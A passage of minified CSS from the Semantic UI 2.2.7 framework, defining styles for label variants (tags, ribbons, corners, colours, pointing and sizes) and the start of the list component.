ease;transition:background .1s ease}.ui.label>.delete.icon:hover{opacity:1}.ui.labels>.label{margin:0 .5em .5em 0}.ui.header>.ui.label{margin-top:-.29165em}.ui.attached.segment>.ui.top.left.attached.label,.ui.bottom.attached.segment>.ui.top.left.attached.label{border-top-left-radius:0}.ui.attached.segment>.ui.top.right.attached.label,.ui.bottom.attached.segment>.ui.top.right.attached.label{border-top-right-radius:0}.ui.top.attached.segment>.ui.bottom.left.attached.label{border-bottom-left-radius:0}.ui.top.attached.segment>.ui.bottom.right.attached.label{border-bottom-right-radius:0}.ui.top.attached.label+[class*="right floated"]+*,.ui.top.attached.label:first-child+:not(.attached){margin-top:2rem!important}.ui.bottom.attached.label:first-child~:last-child:not(.attached){margin-top:0;margin-bottom:2rem!important}.ui.image.label{width:auto!important;margin-top:0;margin-bottom:0;max-width:9999px;vertical-align:baseline;text-transform:none;background:#e8e8e8;padding:.5833em .833em .5833em .5em;border-radius:.28571429rem;box-shadow:none}.ui.image.label img{display:inline-block;vertical-align:top;height:2.1666em;margin:-.5833em .5em -.5833em -.5em;border-radius:.28571429rem 0 0 .28571429rem}.ui.image.label .detail{background:rgba(0,0,0,.1);margin:-.5833em -.833em -.5833em .5em;padding:.5833em .833em;border-radius:0 .28571429rem .28571429rem 0}.ui.tag.label,.ui.tag.labels .label{margin-left:1em;position:relative;padding-left:1.5em;padding-right:1.5em;border-radius:0 .28571429rem .28571429rem 0;-webkit-transition:none;transition:none}.ui.tag.label:before,.ui.tag.labels .label:before{position:absolute;-webkit-transform:translateY(-50%) translateX(50%) rotate(-45deg);transform:translateY(-50%) translateX(50%) rotate(-45deg);top:50%;right:100%;content:'';background-color:inherit;background-image:none;width:1.56em;height:1.56em;-webkit-transition:none;transition:none}.ui.tag.label:after,.ui.tag.labels .label:after{position:absolute;content:'';top:50%;left:-.25em;margin-top:-.25em;background-color:#fff!important;width:.5em;height:.5em;box-shadow:0 -1px 1px 0 rgba(0,0,0,.3);border-radius:500rem}.ui.corner.label{position:absolute;top:0;right:0;margin:0;padding:0;text-align:center;border-color:#e8e8e8;width:4em;height:4em;z-index:1;-webkit-transition:border-color .1s ease;transition:border-color .1s ease}.ui.corner.label{background-color:transparent!important}.ui.corner.label:after{position:absolute;content:"";right:0;top:0;z-index:-1;width:0;height:0;background-color:transparent!important;border-top:0 solid transparent;border-right:4em solid transparent;border-bottom:4em solid transparent;border-left:0 solid transparent;border-right-color:inherit;-webkit-transition:border-color .1s ease;transition:border-color .1s ease}.ui.corner.label .icon{cursor:default;position:relative;top:.64285714em;left:.78571429em;font-size:1.14285714em;margin:0}.ui.left.corner.label,.ui.left.corner.label:after{right:auto;left:0}.ui.left.corner.label:after{border-top:4em solid transparent;border-right:4em solid transparent;border-bottom:0 solid transparent;border-left:0 solid transparent;border-top-color:inherit}.ui.left.corner.label .icon{left:-.78571429em}.ui.segment>.ui.corner.label{top:-1px;right:-1px}.ui.segment>.ui.left.corner.label{right:auto;left:-1px}.ui.ribbon.label{position:relative;margin:0;min-width:-webkit-max-content;min-width:-moz-max-content;min-width:max-content;border-radius:0 .28571429rem .28571429rem 0;border-color:rgba(0,0,0,.15)}.ui.ribbon.label:after{position:absolute;content:'';top:100%;left:0;background-color:transparent!important;border-style:solid;border-width:0 1.2em 1.2em 0;border-color:transparent;border-right-color:inherit;width:0;height:0}.ui.ribbon.label{left:calc(-1rem - 1.2em);margin-right:-1.2em;padding-left:calc(1rem + 1.2em);padding-right:1.2em}.ui[class*="right ribbon"].label{left:calc(100% + 1rem + 1.2em);padding-left:1.2em;padding-right:calc(1rem + 1.2em)}.ui[class*="right ribbon"].label{text-align:left;-webkit-transform:translateX(-100%);transform:translateX(-100%);border-radius:.28571429rem 0 0 .28571429rem}.ui[class*="right ribbon"].label:after{left:auto;right:0;border-style:solid;border-width:1.2em 1.2em 0 0;border-color:transparent;border-top-color:inherit}.ui.card .image>.ribbon.label,.ui.image>.ribbon.label{position:absolute;top:1rem}.ui.card .image>.ui.ribbon.label,.ui.image>.ui.ribbon.label{left:calc(.05rem - 1.2em)}.ui.card .image>.ui[class*="right ribbon"].label,.ui.image>.ui[class*="right ribbon"].label{left:calc(100% + -.05rem + 1.2em);padding-left:.833em}.ui.table td>.ui.ribbon.label{left:calc(-.78571429em - 1.2em)}.ui.table td>.ui[class*="right ribbon"].label{left:calc(100% + .78571429em + 1.2em);padding-left:.833em}.ui.attached.label,.ui[class*="top attached"].label{width:100%;position:absolute;margin:0;top:0;left:0;padding:.75em 1em;border-radius:.21428571rem .21428571rem 0 0}.ui[class*="bottom attached"].label{top:auto;bottom:0;border-radius:0 0 .21428571rem .21428571rem}.ui[class*="top left attached"].label{width:auto;margin-top:0!important;border-radius:.21428571rem 0 .28571429rem 0}.ui[class*="top right attached"].label{width:auto;left:auto;right:0;border-radius:0 .21428571rem 0 .28571429rem}.ui[class*="bottom left attached"].label{width:auto;top:auto;bottom:0;border-radius:0 .28571429rem 0 .21428571rem}.ui[class*="bottom right attached"].label{top:auto;bottom:0;left:auto;right:0;width:auto;border-radius:.28571429rem 0 .21428571rem 0}.ui.label.disabled{opacity:.5}a.ui.label:hover,a.ui.labels .label:hover{background-color:#e0e0e0;border-color:#e0e0e0;background-image:none;color:rgba(0,0,0,.8)}.ui.labels a.label:hover:before,a.ui.label:hover:before{color:rgba(0,0,0,.8)}.ui.active.label{background-color:#d0d0d0;border-color:#d0d0d0;background-image:none;color:rgba(0,0,0,.95)}.ui.active.label:before{background-color:#d0d0d0;background-image:none;color:rgba(0,0,0,.95)}a.ui.active.label:hover,a.ui.labels .active.label:hover{background-color:#c8c8c8;border-color:#c8c8c8;background-image:none;color:rgba(0,0,0,.95)}.ui.labels a.active.label:ActiveHover:before,a.ui.active.label:ActiveHover:before{background-color:#c8c8c8;background-image:none;color:rgba(0,0,0,.95)}.ui.label.visible:not(.dropdown),.ui.labels.visible .label{display:inline-block!important}.ui.label.hidden,.ui.labels.hidden .label{display:none!important}.ui.red.label,.ui.red.labels .label{background-color:#db2828!important;border-color:#db2828!important;color:#fff!important}.ui.red.labels .label:hover,a.ui.red.label:hover{background-color:#d01919!important;border-color:#d01919!important;color:#fff!important}.ui.red.corner.label,.ui.red.corner.label:hover{background-color:transparent!important}.ui.red.ribbon.label{border-color:#b21e1e!important}.ui.basic.red.label{background-color:#fff!important;color:#db2828!important;border-color:#db2828!important}.ui.basic.red.labels a.label:hover,a.ui.basic.red.label:hover{background-color:#fff!important;color:#d01919!important;border-color:#d01919!important}.ui.orange.label,.ui.orange.labels .label{background-color:#f2711c!important;border-color:#f2711c!important;color:#fff!important}.ui.orange.labels .label:hover,a.ui.orange.label:hover{background-color:#f26202!important;border-color:#f26202!important;color:#fff!important}.ui.orange.corner.label,.ui.orange.corner.label:hover{background-color:transparent!important}.ui.orange.ribbon.label{border-color:#cf590c!important}.ui.basic.orange.label{background-color:#fff!important;color:#f2711c!important;border-color:#f2711c!important}.ui.basic.orange.labels a.label:hover,a.ui.basic.orange.label:hover{background-color:#fff!important;color:#f26202!important;border-color:#f26202!important}.ui.yellow.label,.ui.yellow.labels .label{background-color:#fbbd08!important;border-color:#fbbd08!important;color:#fff!important}.ui.yellow.labels .label:hover,a.ui.yellow.label:hover{background-color:#eaae00!important;border-color:#eaae00!important;color:#fff!important}.ui.yellow.corner.label,.ui.yellow.corner.label:hover{background-color:transparent!important}.ui.yellow.ribbon.label{border-color:#cd9903!important}.ui.basic.yellow.label{background-color:#fff!important;color:#fbbd08!important;border-color:#fbbd08!important}.ui.basic.yellow.labels a.label:hover,a.ui.basic.yellow.label:hover{background-color:#fff!important;color:#eaae00!important;border-color:#eaae00!important}.ui.olive.label,.ui.olive.labels .label{background-color:#b5cc18!important;border-color:#b5cc18!important;color:#fff!important}.ui.olive.labels .label:hover,a.ui.olive.label:hover{background-color:#a7bd0d!important;border-color:#a7bd0d!important;color:#fff!important}.ui.olive.corner.label,.ui.olive.corner.label:hover{background-color:transparent!important}.ui.olive.ribbon.label{border-color:#198f35!important}.ui.basic.olive.label{background-color:#fff!important;color:#b5cc18!important;border-color:#b5cc18!important}.ui.basic.olive.labels a.label:hover,a.ui.basic.olive.label:hover{background-color:#fff!important;color:#a7bd0d!important;border-color:#a7bd0d!important}.ui.green.label,.ui.green.labels .label{background-color:#21ba45!important;border-color:#21ba45!important;color:#fff!important}.ui.green.labels .label:hover,a.ui.green.label:hover{background-color:#16ab39!important;border-color:#16ab39!important;color:#fff!important}.ui.green.corner.label,.ui.green.corner.label:hover{background-color:transparent!important}.ui.green.ribbon.label{border-color:#198f35!important}.ui.basic.green.label{background-color:#fff!important;color:#21ba45!important;border-color:#21ba45!important}.ui.basic.green.labels a.label:hover,a.ui.basic.green.label:hover{background-color:#fff!important;color:#16ab39!important;border-color:#16ab39!important}.ui.teal.label,.ui.teal.labels .label{background-color:#00b5ad!important;border-color:#00b5ad!important;color:#fff!important}.ui.teal.labels .label:hover,a.ui.teal.label:hover{background-color:#009c95!important;border-color:#009c95!important;color:#fff!important}.ui.teal.corner.label,.ui.teal.corner.label:hover{background-color:transparent!important}.ui.teal.ribbon.label{border-color:#00827c!important}.ui.basic.teal.label{background-color:#fff!important;color:#00b5ad!important;border-color:#00b5ad!important}.ui.basic.teal.labels a.label:hover,a.ui.basic.teal.label:hover{background-color:#fff!important;color:#009c95!important;border-color:#009c95!important}.ui.blue.label,.ui.blue.labels .label{background-color:#2185d0!important;border-color:#2185d0!important;color:#fff!important}.ui.blue.labels .label:hover,a.ui.blue.label:hover{background-color:#1678c2!important;border-color:#1678c2!important;color:#fff!important}.ui.blue.corner.label,.ui.blue.corner.label:hover{background-color:transparent!important}.ui.blue.ribbon.label{border-color:#1a69a4!important}.ui.basic.blue.label{background-color:#fff!important;color:#2185d0!important;border-color:#2185d0!important}.ui.basic.blue.labels a.label:hover,a.ui.basic.blue.label:hover{background-color:#fff!important;color:#1678c2!important;border-color:#1678c2!important}.ui.violet.label,.ui.violet.labels .label{background-color:#6435c9!important;border-color:#6435c9!important;color:#fff!important}.ui.violet.labels .label:hover,a.ui.violet.label:hover{background-color:#5829bb!important;border-color:#5829bb!important;color:#fff!important}.ui.violet.corner.label,.ui.violet.corner.label:hover{background-color:transparent!important}.ui.violet.ribbon.label{border-color:#502aa1!important}.ui.basic.violet.label{background-color:#fff!important;color:#6435c9!important;border-color:#6435c9!important}.ui.basic.violet.labels a.label:hover,a.ui.basic.violet.label:hover{background-color:#fff!important;color:#5829bb!important;border-color:#5829bb!important}.ui.purple.label,.ui.purple.labels .label{background-color:#a333c8!important;border-color:#a333c8!important;color:#fff!important}.ui.purple.labels .label:hover,a.ui.purple.label:hover{background-color:#9627ba!important;border-color:#9627ba!important;color:#fff!important}.ui.purple.corner.label,.ui.purple.corner.label:hover{background-color:transparent!important}.ui.purple.ribbon.label{border-color:#82299f!important}.ui.basic.purple.label{background-color:#fff!important;color:#a333c8!important;border-color:#a333c8!important}.ui.basic.purple.labels a.label:hover,a.ui.basic.purple.label:hover{background-color:#fff!important;color:#9627ba!important;border-color:#9627ba!important}.ui.pink.label,.ui.pink.labels .label{background-color:#e03997!important;border-color:#e03997!important;color:#fff!important}.ui.pink.labels .label:hover,a.ui.pink.label:hover{background-color:#e61a8d!important;border-color:#e61a8d!important;color:#fff!important}.ui.pink.corner.label,.ui.pink.corner.label:hover{background-color:transparent!important}.ui.pink.ribbon.label{border-color:#c71f7e!important}.ui.basic.pink.label{background-color:#fff!important;color:#e03997!important;border-color:#e03997!important}.ui.basic.pink.labels a.label:hover,a.ui.basic.pink.label:hover{background-color:#fff!important;color:#e61a8d!important;border-color:#e61a8d!important}.ui.brown.label,.ui.brown.labels .label{background-color:#a5673f!important;border-color:#a5673f!important;color:#fff!important}.ui.brown.labels .label:hover,a.ui.brown.label:hover{background-color:#975b33!important;border-color:#975b33!important;color:#fff!important}.ui.brown.corner.label,.ui.brown.corner.label:hover{background-color:transparent!important}.ui.brown.ribbon.label{border-color:#805031!important}.ui.basic.brown.label{background-color:#fff!important;color:#a5673f!important;border-color:#a5673f!important}.ui.basic.brown.labels a.label:hover,a.ui.basic.brown.label:hover{background-color:#fff!important;color:#975b33!important;border-color:#975b33!important}.ui.grey.label,.ui.grey.labels .label{background-color:#767676!important;border-color:#767676!important;color:#fff!important}.ui.grey.labels .label:hover,a.ui.grey.label:hover{background-color:#838383!important;border-color:#838383!important;color:#fff!important}.ui.grey.corner.label,.ui.grey.corner.label:hover{background-color:transparent!important}.ui.grey.ribbon.label{border-color:#805031!important}.ui.basic.grey.label{background-color:#fff!important;color:#767676!important;border-color:#767676!important}.ui.basic.grey.labels a.label:hover,a.ui.basic.grey.label:hover{background-color:#fff!important;color:#838383!important;border-color:#838383!important}.ui.black.label,.ui.black.labels .label{background-color:#1b1c1d!important;border-color:#1b1c1d!important;color:#fff!important}.ui.black.labels .label:hover,a.ui.black.label:hover{background-color:#27292a!important;border-color:#27292a!important;color:#fff!important}.ui.black.corner.label,.ui.black.corner.label:hover{background-color:transparent!important}.ui.black.ribbon.label{border-color:#805031!important}.ui.basic.black.label{background-color:#fff!important;color:#1b1c1d!important;border-color:#1b1c1d!important}.ui.basic.black.labels a.label:hover,a.ui.basic.black.label:hover{background-color:#fff!important;color:#27292a!important;border-color:#27292a!important}.ui.basic.label{background:none #fff;border:1px solid rgba(34,36,38,.15);color:rgba(0,0,0,.87);box-shadow:none}a.ui.basic.label:hover{text-decoration:none;background:none #fff;color:#1e70bf;box-shadow:1px solid rgba(34,36,38,.15);box-shadow:none}.ui.basic.pointing.label:before{border-color:inherit}.ui.fluid.labels>.label,.ui.label.fluid{width:100%;box-sizing:border-box}.ui.inverted.label,.ui.inverted.labels .label{color:rgba(255,255,255,.9)!important}.ui.horizontal.label,.ui.horizontal.labels .label{margin:0 .5em 0 0;padding:.4em .833em;min-width:3em;text-align:center}.ui.circular.label,.ui.circular.labels .label{min-width:2em;min-height:2em;padding:.5em!important;line-height:1em;text-align:center;border-radius:500rem}.ui.empty.circular.label,.ui.empty.circular.labels .label{min-width:0;min-height:0;overflow:hidden;width:.5em;height:.5em;vertical-align:baseline}.ui.pointing.label{position:relative}.ui.attached.pointing.label{position:absolute}.ui.pointing.label:before{background-color:inherit;background-image:inherit;border-width:none;border-style:solid;border-color:inherit}.ui.pointing.label:before{position:absolute;content:'';-webkit-transform:rotate(45deg);transform:rotate(45deg);background-image:none;z-index:2;width:.6666em;height:.6666em;-webkit-transition:background .1s ease;transition:background .1s ease}.ui.pointing.label,.ui[class*="pointing above"].label{margin-top:1em}.ui.pointing.label:before,.ui[class*="pointing above"].label:before{border-width:1px 0 0 1px;-webkit-transform:translateX(-50%) translateY(-50%) rotate(45deg);transform:translateX(-50%) translateY(-50%) rotate(45deg);top:0;left:50%}.ui[class*="bottom pointing"].label,.ui[class*="pointing below"].label{margin-top:0;margin-bottom:1em}.ui[class*="bottom pointing"].label:before,.ui[class*="pointing below"].label:before{border-width:0 1px 1px 0;top:auto;right:auto;-webkit-transform:translateX(-50%) translateY(-50%) rotate(45deg);transform:translateX(-50%) translateY(-50%) rotate(45deg);top:100%;left:50%}.ui[class*="left pointing"].label{margin-top:0;margin-left:.6666em}.ui[class*="left pointing"].label:before{border-width:0 0 1px 1px;-webkit-transform:translateX(-50%) translateY(-50%) rotate(45deg);transform:translateX(-50%) translateY(-50%) rotate(45deg);bottom:auto;right:auto;top:50%;left:0}.ui[class*="right pointing"].label{margin-top:0;margin-right:.6666em}.ui[class*="right pointing"].label:before{border-width:1px 1px 0 0;-webkit-transform:translateX(50%) translateY(-50%) rotate(45deg);transform:translateX(50%) translateY(-50%) rotate(45deg);top:50%;right:0;bottom:auto;left:auto}.ui.basic.pointing.label:before,.ui.basic[class*="pointing above"].label:before{margin-top:-1px}.ui.basic[class*="bottom pointing"].label:before,.ui.basic[class*="pointing below"].label:before{bottom:auto;top:100%;margin-top:1px}.ui.basic[class*="left pointing"].label:before{top:50%;left:-1px}.ui.basic[class*="right pointing"].label:before{top:50%;right:-1px}.ui.floating.label{position:absolute;z-index:100;top:-1em;left:100%;margin:0 0 0 -1.5em!important}.ui.mini.label,.ui.mini.labels .label{font-size:.64285714rem}.ui.tiny.label,.ui.tiny.labels .label{font-size:.71428571rem}.ui.small.label,.ui.small.labels .label{font-size:.78571429rem}.ui.label,.ui.labels .label{font-size:.85714286rem}.ui.large.label,.ui.large.labels .label{font-size:1rem}.ui.big.label,.ui.big.labels .label{font-size:1.28571429rem}.ui.huge.label,.ui.huge.labels .label{font-size:1.42857143rem}.ui.massive.label,.ui.massive.labels .label{font-size:1.71428571rem}/*! * # Semantic UI 2.2.7 - List * path_to_url * * * Released under the MIT license * path_to_url * */.ui.list,ol.ui.list,ul.ui.list{list-style-type:none;margin:1em 0;padding:0 0}.ui.list:first-child,ol.ui.list:first-child,ul.ui.list:first-child{margin-top:0;padding-top:0}.ui.list:last-child,ol.ui.list:last-child,ul.ui.list:last-child{margin-bottom:0;padding-bottom:0}.ui.list .list>.item,.ui.list>.item,ol.ui.list li,ul.ui.list li{display:list-item;table-layout:fixed;list-style-type:none;list-style-position:outside;padding:.21428571em 0;line-height:1.14285714em}.ui.list>.item:after,.ui.list>.list>.item,ol.ui.list>li:first-child:after,ul.ui.list>li:first-child:after{content:'';display:block;height:0;clear:both;visibility:hidden}.ui.list .list>.item:first-child,.ui.list>.item:first-child,ol.ui.list li:first-child,ul.ui.list li:first-child{padding-top:0}.ui.list .list>.item:last-child,.ui.list>.item:last-child,ol.ui.list li:last-child,ul.ui.list li:last-child{padding-bottom:0}.ui.list .list,ol.ui.list ol,ul.ui.list ul{clear:both;margin:0;padding:.75em 0 .25em .5em}.ui.list .list>.item,ol.ui.list ol li,ul.ui.list ul li{padding:.14285714em 0;line-height:inherit}.ui.list .list>.item>i.icon,.ui.list>.item>i.icon{display:table-cell;margin:0;padding-top:.07142857em;padding-right:.28571429em;vertical-align:top;-webkit-transition:color .1s ease;transition:color .1s ease}.ui.list .list>.item>i.icon:only-child,.ui.list>.item>i.icon:only-child{display:inline-block;vertical-align:top}.ui.list .list>.item>.image,.ui.list>.item>.image{display:table-cell;background-color:transparent;margin:0;vertical-align:top}.ui.list .list>.item>.image:not(:only-child):not(img),.ui.list>.item>.image:not(:only-child):not(img){padding-right:.5em}.ui.list .list>.item>.image img,.ui.list>.item>.image img{vertical-align:top}.ui.list .list>.item>.image:only-child,.ui.list .list>.item>img.image,.ui.list>.item>.image:only-child,.ui.list>.item>img.image{display:inline-block}.ui.list .list>.item>.content,.ui.list>.item>.content{line-height:1.14285714em}.ui.list .list>.item>.icon+.content,.ui.list .list>.item>.image+.content,.ui.list>.item>.icon+.content,.ui.list>.item>.image+.content{display:table-cell;padding:0 0 0 .5em;vertical-align:top}.ui.list .list>.item>img.image+.content,.ui.list>.item>img.image+.content{display:inline-block}.ui.list .list>.item>.content>.list,.ui.list>.item>.content>.list{margin-left:0;padding-left:0}.ui.list .list>.item .header,.ui.list>.item .header{display:block;margin:0;font-family:Lato,'Helvetica Neue',Arial,Helvetica,sans-serif;font-weight:700;color:rgba(0,0,0,.87)}.ui.list .list>.item .description,.ui.list>.item .description{display:block;color:rgba(0,0,0,.7)}.ui.list .list>.item a,.ui.list>.item a{cursor:pointer}.ui.list .list>a.item,.ui.list>a.item{cursor:pointer;color:#4183c4}.ui.list .list>a.item:hover,.ui.list>a.item:hover{color:#1e70bf}.ui.list .list>a.item i.icon,.ui.list>a.item i.icon{color:rgba(0,0,0,.4)}.ui.list .list>.item a.header,.ui.list>.item a.header{cursor:pointer;color:#4183c4!important}.ui.list .list>.item a.header:hover,.ui.list>.item a.header:hover{color:#1e70bf!important}.ui[class*="left floated"].list{float:left}.ui[class*="right floated"].list{float:right}.ui.list .list>.item [class*="left floated"],.ui.list>.item [class*="left floated"]{float:left;margin:0 1em 0 0}.ui.list .list>.item [class*="right floated"],.ui.list>.item [class*="right floated"]{float:right;margin:0 0 0 1em}.ui.menu .ui.list .list>.item,.ui.menu .ui.list>.item{display:list-item;table-layout:fixed;background-color:transparent;list-style-type:none;list-style-position:outside;padding:.21428571em 0;line-height:1.14285714em}.ui.menu .ui.list .list>.item:before,.ui.menu .ui.list>.item:before{border:none;background:0 0}.ui.menu .ui.list .list>.item:first-child,.ui.menu .ui.list>.item:first-child{padding-top:0}.ui.menu .ui.list .list>.item:last-child,.ui.menu .ui.list>.item:last-child{padding-bottom:0}.ui.horizontal.list{display:inline-block;font-size:0}.ui.horizontal.list>.item{display:inline-block;margin-left:1em;font-size:1rem}.ui.horizontal.list:not(.celled)>.item:first-child{margin-left:0!important;padding-left:0!important}.ui.horizontal.list .list{padding-left:0;padding-bottom:0}.ui.horizontal.list .list>.item>.content,.ui.horizontal.list .list>.item>.icon,.ui.horizontal.list .list>.item>.image,.ui.horizontal.list>.item>.content,.ui.horizontal.list>.item>.icon,.ui.horizontal.list>.item>.image{vertical-align:middle}.ui.horizontal.list>.item:first-child,.ui.horizontal.list>.item:last-child{padding-top:.21428571em;padding-bottom:.21428571em}.ui.horizontal.list>.item>i.icon{margin:0;padding:0 .25em 0 0}.ui.horizontal.list>.item>.icon,.ui.horizontal.list>.item>.icon+.content{float:none;display:inline-block}.ui.list .list>.disabled.item,.ui.list>.disabled.item{pointer-events:none;color:rgba(40,40,40,.3)!important}.ui.inverted.list .list>.disabled.item,.ui.inverted.list>.disabled.item{color:rgba(225,225,225,.3)!important}.ui.list .list>a.item:hover .icon,.ui.list>a.item:hover .icon{color:rgba(0,0,0,.87)}.ui.inverted.list .list>a.item>.icon,.ui.inverted.list>a.item>.icon{color:rgba(255,255,255,.7)}.ui.inverted.list .list>.item .header,.ui.inverted.list>.item .header{color:rgba(255,255,255,.9)}.ui.inverted.list .list>.item .description,.ui.inverted.list>.item .description{color:rgba(255,255,255,.7)}.ui.inverted.list .list>a.item,.ui.inverted.list>a.item{cursor:pointer;color:rgba(255,255,255,.9)}.ui.inverted.list .list>a.item:hover,.ui.inverted.list>a.item:hover{color:#1e70bf}.ui.inverted.list .item a:not(.ui){color:rgba(255,255,255,.9)!important}.ui.inverted.list .item a:not(.ui):hover{color:#1e70bf!important}.ui.list [class*="top aligned"],.ui.list[class*="top aligned"] .content,.ui.list[class*="top aligned"] .image{vertical-align:top!important}.ui.list [class*="middle aligned"],.ui.list[class*="middle aligned"] .content,.ui.list[class*="middle aligned"] .image{vertical-align:middle!important}.ui.list [class*="bottom aligned"],.ui.list[class*="bottom aligned"] .content,.ui.list[class*="bottom aligned"] .image{vertical-align:bottom!important}.ui.link.list .item,.ui.link.list .item a:not(.ui),.ui.link.list a.item{color:rgba(0,0,0,.4);-webkit-transition:.1s color ease;transition:.1s color ease}.ui.link.list .item a:not(.ui):hover,.ui.link.list a.item:hover{color:rgba(0,0,0,.8)}.ui.link.list .item a:not(.ui):active,.ui.link.list a.item:active{color:rgba(0,0,0,.9)}.ui.link.list .active.item,.ui.link.list .active.item a:not(.ui){color:rgba(0,0,0,.95)}.ui.inverted.link.list .item,.ui.inverted.link.list .item a:not(.ui),.ui.inverted.link.list a.item{color:rgba(255,255,255,.5)}.ui.inverted.link.list .item a:not(.ui):hover,.ui.inverted.link.list a.item:hover{color:#fff}.ui.inverted.link.list .item a:not(.ui):active,.ui.inverted.link.list a.item:active{color:#fff}.ui.inverted.link.list .active.item a:not(.ui),.ui.inverted.link.list a.active.item{color:#fff}.ui.selection.list .list>.item,.ui.selection.list>.item{cursor:pointer;background:0 0;padding:.5em .5em;margin:0;color:rgba(0,0,0,.4);border-radius:.5em;-webkit-transition:.1s color ease,.1s padding-left ease,.1s background-color ease;transition:.1s color ease,.1s padding-left ease,.1s background-color ease}.ui.selection.list .list>.item:last-child,.ui.selection.list>.item:last-child{margin-bottom:0}.ui.selection.list.list>.item:hover,.ui.selection.list>.item:hover{background:rgba(0,0,0,.03);color:rgba(0,0,0,.8)}.ui.selection.list .list>.item:active,.ui.selection.list>.item:active{background:rgba(0,0,0,.05);color:rgba(0,0,0,.9)}.ui.selection.list .list>.item.active,.ui.selection.list>.item.active{background:rgba(0,0,0,.05);color:rgba(0,0,0,.95)}.ui.inverted.selection.list>.item{background:0 0;color:rgba(255,255,255,.5)}.ui.inverted.selection.list>.item:hover{background:rgba(255,255,255,.02);color:#fff}.ui.inverted.selection.list>.item:active{background:rgba(255,255,255,.08);color:#fff}.ui.inverted.selection.list>.item.active{background:rgba(255,255,255,.08);color:#fff}.ui.celled.selection.list .list>.item,.ui.celled.selection.list>.item,.ui.divided.selection.list .list>.item,.ui.divided.selection.list>.item{border-radius:0}.ui.animated.list>.item{-webkit-transition:.25s color ease .1s,.25s padding-left ease .1s,.25s background-color ease .1s;transition:.25s color ease .1s,.25s padding-left ease .1s,.25s background-color ease .1s}.ui.animated.list:not(.horizontal)>.item:hover{padding-left:1em}.ui.fitted.list:not(.selection) .list>.item,.ui.fitted.list:not(.selection)>.item{padding-left:0;padding-right:0}.ui.fitted.selection.list .list>.item,.ui.fitted.selection.list>.item{margin-left:-.5em;margin-right:-.5em}.ui.bulleted.list,ul.ui.list{margin-left:1.25rem}.ui.bulleted.list .list>.item,.ui.bulleted.list>.item,ul.ui.list li{position:relative}.ui.bulleted.list .list>.item:before,.ui.bulleted.list>.item:before,ul.ui.list li:before{-webkit-user-select:none;-moz-user-select:none;-ms-user-select:none;user-select:none;pointer-events:none;position:absolute;top:auto;left:auto;font-weight:400;margin-left:-1.25rem;content:'';opacity:1;color:inherit;vertical-align:top}.ui.bulleted.list .list>a.item:before,.ui.bulleted.list>a.item:before,ul.ui.list li:before{color:rgba(0,0,0,.87)}.ui.bulleted.list .list,ul.ui.list ul{padding-left:1.25rem}.ui.horizontal.bulleted.list,ul.ui.horizontal.bulleted.list{margin-left:0}.ui.horizontal.bulleted.list>.item,ul.ui.horizontal.bulleted.list li{margin-left:1.75rem}.ui.horizontal.bulleted.list>.item:first-child,ul.ui.horizontal.bulleted.list li:first-child{margin-left:0}.ui.horizontal.bulleted.list>.item::before,ul.ui.horizontal.bulleted.list li::before{color:rgba(0,0,0,.87)}.ui.horizontal.bulleted.list>.item:first-child::before,ul.ui.horizontal.bulleted.list li:first-child::before{display:none}.ui.ordered.list,.ui.ordered.list .list,ol.ui.list,ol.ui.list ol{counter-reset:ordered;margin-left:1.25rem;list-style-type:none}.ui.ordered.list .list>.item,.ui.ordered.list>.item,ol.ui.list li{list-style-type:none;position:relative}.ui.ordered.list .list>.item:before,.ui.ordered.list>.item:before,ol.ui.list li:before{position:absolute;top:auto;left:auto;-webkit-user-select:none;-moz-user-select:none;-ms-user-select:none;user-select:none;pointer-events:none;margin-left:-1.25rem;counter-increment:ordered;content:counters(ordered, ".") " ";text-align:right;color:rgba(0,0,0,.87);vertical-align:middle;opacity:.8}.ui.ordered.inverted.list .list>.item:before,.ui.ordered.inverted.list>.item:before,ol.ui.inverted.list li:before{color:rgba(255,255,255,.7)}.ui.ordered.list>.item[data-value],.ui.ordered.list>.list>.item[data-value]{content:attr(data-value)}ol.ui.list li[value]:before{content:attr(value)}.ui.ordered.list .list,ol.ui.list ol{margin-left:1em}.ui.ordered.list .list>.item:before,ol.ui.list ol li:before{margin-left:-2em}.ui.ordered.horizontal.list,ol.ui.horizontal.list{margin-left:0}.ui.ordered.horizontal.list .list>.item:before,.ui.ordered.horizontal.list>.item:before,ol.ui.horizontal.list li:before{position:static;margin:0 .5em 0 0}.ui.divided.list>.item{border-top:1px solid rgba(34,36,38,.15)}.ui.divided.list .list>.item{border-top:none}.ui.divided.list .item .list>.item{border-top:none}.ui.divided.list .list>.item:first-child,.ui.divided.list>.item:first-child{border-top:none}.ui.divided.list:not(.horizontal) .list>.item:first-child{border-top-width:1px}.ui.divided.bulleted.list .list,.ui.divided.bulleted.list:not(.horizontal){margin-left:0;padding-left:0}.ui.divided.bulleted.list>.item:not(.horizontal){padding-left:1.25rem}.ui.divided.ordered.list{margin-left:0}.ui.divided.ordered.list .list>.item,.ui.divided.ordered.list>.item{padding-left:1.25rem}.ui.divided.ordered.list .item .list{margin-left:0;margin-right:0;padding-bottom:.21428571em}.ui.divided.ordered.list .item .list>.item{padding-left:1em}.ui.divided.selection.list .list>.item,.ui.divided.selection.list>.item{margin:0;border-radius:0}.ui.divided.horizontal.list{margin-left:0}.ui.divided.horizontal.list>.item:not(:first-child){padding-left:.5em}.ui.divided.horizontal.list>.item:not(:last-child){padding-right:.5em}.ui.divided.horizontal.list>.item{border-top:none;border-left:1px solid rgba(34,36,38,.15);margin:0;line-height:.6}.ui.horizontal.divided.list>.item:first-child{border-left:none}.ui.divided.inverted.horizontal.list>.item,.ui.divided.inverted.list>.item,.ui.divided.inverted.list>.list{border-color:rgba(255,255,255,.1)}.ui.celled.list>.item,.ui.celled.list>.list{border-top:1px solid rgba(34,36,38,.15);padding-left:.5em;padding-right:.5em}.ui.celled.list>.item:last-child{border-bottom:1px solid rgba(34,36,38,.15)}.ui.celled.list>.item:first-child,.ui.celled.list>.item:last-child{padding-top:.21428571em;padding-bottom:.21428571em}.ui.celled.list .item .list>.item{border-width:0}.ui.celled.list .list>.item:first-child{border-top-width:0}.ui.celled.bulleted.list{margin-left:0}.ui.celled.bulleted.list .list>.item,.ui.celled.bulleted.list>.item{padding-left:1.25rem}.ui.celled.bulleted.list .item .list{margin-left:-1.25rem;margin-right:-1.25rem;padding-bottom:.21428571em}.ui.celled.ordered.list{margin-left:0}.ui.celled.ordered.list .list>.item,.ui.celled.ordered.list>.item{padding-left:1.25rem}.ui.celled.ordered.list .item .list{margin-left:0;margin-right:0;padding-bottom:.21428571em}.ui.celled.ordered.list .list>.item{padding-left:1em}.ui.horizontal.celled.list{margin-left:0}.ui.horizontal.celled.list 